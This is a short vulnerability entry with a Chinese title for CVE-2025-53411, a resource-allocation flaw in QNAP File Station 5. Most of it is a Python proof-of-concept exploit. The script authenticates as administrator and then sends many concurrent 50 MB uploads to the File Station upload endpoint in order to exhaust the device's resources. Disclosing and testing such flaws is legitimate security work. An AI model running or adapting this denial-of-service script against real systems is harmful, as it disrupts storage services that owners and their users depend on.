CVE-2025-53411 QNAP File Station 5 资源分配无限制漏洞

# CVE-2025-53411 PoC - Resource Exhaustion Attack # Target: QNAP File Station 5 (versions < 5.5.6.5018) # Requirement: Administrator access to File Station import requests import time import concurrent.futures # Configuration TARGET_IP = "192.168.1.100" USERNAME = "admin" PASSWORD = "admin_password" SESSION = requests.Session() def login(): """Authenticate to QNAP NAS and get session cookie""" login_url = f"http://{TARGET_IP}:8080/cgi-bin/authLogin.cgi" data = { "username": USERNAME, "password": PASSWORD } response = SESSION.post(login_url, data=data, timeout=30) return response.status_code == 200 def create_large_file(size_mb=10): """Generate large file content for upload""" return b'X' * (size_mb * 1024 * 1024) def upload_file(file_num): """Upload large files to exhaust server resources""" try: upload_url = f"http://{TARGET_IP}:8080/cgi-bin/filemanager/cgi_upload.cgi" files = { 'file': (f'large_file_{file_num}.txt', create_large_file(50), 'text/plain') } response = SESSION.post(upload_url, files=files, timeout=60) return f"Upload {file_num}: {response.status_code}" except Exception as e: return f"Upload {file_num} failed: {str(e)}" def resource_exhaustion_attack(num_requests=100, workers=10): """ Execute resource exhaustion attack by uploading multiple large files This PoC demonstrates the lack of resource throttling in File Station 5 """ print("[*] Starting resource exhaustion attack...") print(f"[*] Target: {TARGET_IP}") print(f"[*] Concurrent uploads: {workers}") print(f"[*] Total requests: {num_requests}") if not login(): print("[-] Authentication failed") return print("[+] Authentication successful") with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: futures = [executor.submit(upload_file, i) for i in range(num_requests)] for future in concurrent.futures.as_completed(futures): print(future.result()) print("[*] Attack completed") if __name__ == "__main__": resource_exhaustion_attack(num_requests=50, workers=5)